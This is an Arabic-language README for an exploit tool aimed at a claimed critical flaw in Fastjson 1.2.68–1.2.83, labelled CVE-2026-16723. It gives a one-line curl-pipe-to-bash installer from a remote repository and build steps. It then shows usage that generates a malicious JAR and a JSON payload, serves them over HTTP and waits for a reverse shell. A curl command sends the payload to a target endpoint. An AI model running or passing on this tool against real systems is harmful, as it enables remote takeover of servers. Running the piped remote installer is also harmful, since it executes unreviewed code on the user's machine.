
ثغرة أمنية حرجة تؤثر على إصدارات Fastjson من 1.2.68 إلى 1.2.83.
نظام Linux (أو WSL على Windows)
مترجم متوافق مع C++17 (GCC 7+ أو Clang 5+)
CMake 3.10 أو أحدث
حزم النظام:
libzip-devzlib1g-devsudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev
ثبّت كل شيء بأمر واحد:
curl -sSL https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh | bash
أو نزّل برنامج التثبيت ونفّذه يدويًا:
wget https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh
سيقوم سكربت التثبيت بما يلي:
تثبيت جميع حزم النظام المطلوبة.
تنزيل المكتبات المطلوبة ذات الملفات الرأسية فقط:
nlohmann/jsoncpp-httplibبناء المشروع.
وضع الملف التنفيذي المُجمّع في الدليل الحالي باسم:
./exploit
إذا قمت باستنساخ المستودع:
git clone https://github.com/1xPwn/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh
أو قم بالبناء يدويًا:
mkdir build
cd build
cmake ..
make -j$(nproc)
cp exploit ../
شغّل الملف التنفيذي:
./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]
./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000
بعد التنفيذ سيتم إنشاء الملفات التالية:
x
body.json
سيبدأ خادم HTTP على المنفذ المُعدّ (الافتراضي: 8000) وستنتظر الأداة اتصال reverse shell واردًا.
أرسل ملف body.json المُنشأ إلى نقطة النهاية المصابة:
curl -X POST http://<TARGET_IP>:8080/api/products/search \
-H "Content-Type: application/json" \
--data-binary @body.json
إذا كان التطبيق يتوقع حقل JSON مختلفًا، فحدّده باستخدام خيار --field.
| الخيار | الوصف | الافتراضي |
|---|---|---|
--lhost | عنوان IP المحلي | مطلوب |
--lport | منفذ استماع reverse shell | 4444 |
--http-port | منفذ خادم HTTP | 8000 |
--first | أول واصف ملف للمحاولة | 3 |
--last | آخر واصف ملف للمحاولة | 30 |
--field | اسم حقل JSON | facets |
--outdir | دليل الإخراج | . |
-h, --help | عرض رسالة المساعدة | — |
| الملف | الوصف |
|---|---|
x | حمولة JAR المُنشأة |
body.json | حمولة JSON لإرسالها إلى الهدف |
jar:http وjar:file.